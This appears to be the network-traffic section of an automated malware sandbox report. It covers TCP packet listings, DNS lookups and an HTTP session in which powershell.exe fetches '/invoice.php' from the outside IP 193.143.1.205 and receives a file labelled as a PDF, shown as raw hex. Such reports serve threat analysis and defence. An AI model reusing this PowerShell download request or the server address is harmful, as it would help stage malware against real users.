Jan 10, 2025 23:06:09.279282093 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.279356956 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.279376984 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.279395103 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.279400110 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.279443026 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.279483080 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.279498100 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.279514074 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.279530048 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.279542923 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.279567957 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.295698881 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.295757055 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.295773029 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.295821905 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.295869112 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.295908928 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.295937061 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.296114922 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.296129942 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.296144009 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.296145916 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.296159983 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.296174049 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.296178102 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.296190023 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.296206951 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.296206951 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.296243906 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.296303988 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.296363115 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.296399117 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.331063032 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331087112 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331111908 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331129074 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331146955 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331162930 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.331172943 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331190109 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331248999 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.331248999 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.331286907 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331300020 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331327915 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331346989 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.331374884 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.331402063 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331415892 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331429958 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331444025 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331455946 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.331463099 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331485987 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.331547976 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331562042 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331569910 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331584930 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331614971 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.331644058 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331662893 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331690073 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.331763983 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331779957 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331794977 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331808090 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.331809998 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331840038 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.331964970 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331980944 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.331995964 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.332010031 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.332011938 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.332027912 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.332035065 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.332072973 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.332156897 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.332175016 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.332214117 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.332364082 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.332380056 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.332396030 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.332411051 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.332426071 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.332426071 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.332442045 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.332453012 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.332525015 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.332748890 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.332766056 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.332781076 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.332797050 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.332811117 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.332817078 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.332853079 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.332910061 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.332926989 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.332941055 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.332967043 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.332982063 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.332986116 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.332999945 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333022118 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333039999 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333062887 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333064079 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.333091974 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.333220959 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333236933 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333250999 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333267927 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333285093 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333295107 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.333295107 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.333302021 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333319902 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333337069 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.333362103 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.333551884 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333576918 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333594084 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333609104 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333625078 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333632946 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.333640099 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333657026 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333661079 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.333710909 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333720922 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.333729029 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333745003 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333759069 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.333760977 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333777905 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333791018 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.333795071 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333811045 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333825111 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.333827019 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333846092 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333858967 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.333861113 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333877087 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333892107 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333893061 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.333906889 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333921909 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.333924055 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333940983 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.333945990 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.333986044 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.334427118 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.334444046 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.334459066 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.334474087 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.334490061 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.334491968 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.334506035 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.334522963 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.334527969 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.334537029 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.334548950 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.334597111 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.360987902 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.365986109 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.366019011 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.366031885 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.366107941 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.366117954 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.366122961 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.366139889 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.366149902 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.366174936 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.366179943 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.366192102 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.366205931 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.366221905 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.366230965 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.366238117 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.366261959 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.366326094 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.366342068 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.366357088 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.366364956 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.366374969 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.366389990 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.366390944 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.366427898 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.366471052 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.366537094 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.366552114 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.366566896 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.366573095 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.366583109 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.366601944 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.366667986 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.366694927 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.366708040 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.382788897 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.382829905 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.382859945 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.382879972 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.382884026 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.382915020 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.382935047 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.382944107 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.382949114 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.382982969 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.383004904 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.383016109 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.418193102 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.418231964 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.418248892 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.418278933 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.418294907 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.418306112 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.418307066 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.418338060 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.418353081 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.418371916 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.418382883 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.418407917 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.418490887 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.418507099 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.418523073 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.418538094 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.418540001 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.418562889 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.418565035 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.418581009 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.418596029 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.418608904 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.418612003 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.418625116 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.418657064 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.418669939 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.418730974 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.418730974 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.418730974 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.469095945 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.623348951 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:10.208023071 CET	49741	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:10.212810993 CET	8888	49741	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:10.212980032 CET	49741	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:10.213268042 CET	49741	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:10.218030930 CET	8888	49741	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:11.004801035 CET	8888	49741	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:11.051599026 CET	49741	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:11.587361097 CET	49741	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:06:18.529699087 CET	52663	53	192.168.2.6	1.1.1.1
Jan 10, 2025 23:06:31.561822891 CET	63484	53	192.168.2.6	1.1.1.1
Jan 10, 2025 23:06:46.952482939 CET	49543	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:06:18.529699087 CET	192.168.2.6	1.1.1.1	0x5b	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:06:31.561822891 CET	192.168.2.6	1.1.1.1	0x10e1	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:06:46.952482939 CET	192.168.2.6	1.1.1.1	0x6cad	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 10, 2025 23:06:18.536283016 CET	1.1.1.1	192.168.2.6	0x5b	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:06:31.569668055 CET	1.1.1.1	192.168.2.6	0x10e1	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:06:46.959470987 CET	1.1.1.1	192.168.2.6	0x6cad	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49724	193.143.1.205	80	2872	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:06:07.894963026 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 23:06:08.669738054 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:06:08 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 23:06:08.669786930 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 23:06:08.669826031 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 23:06:08.669982910 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 23:06:08.670034885 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
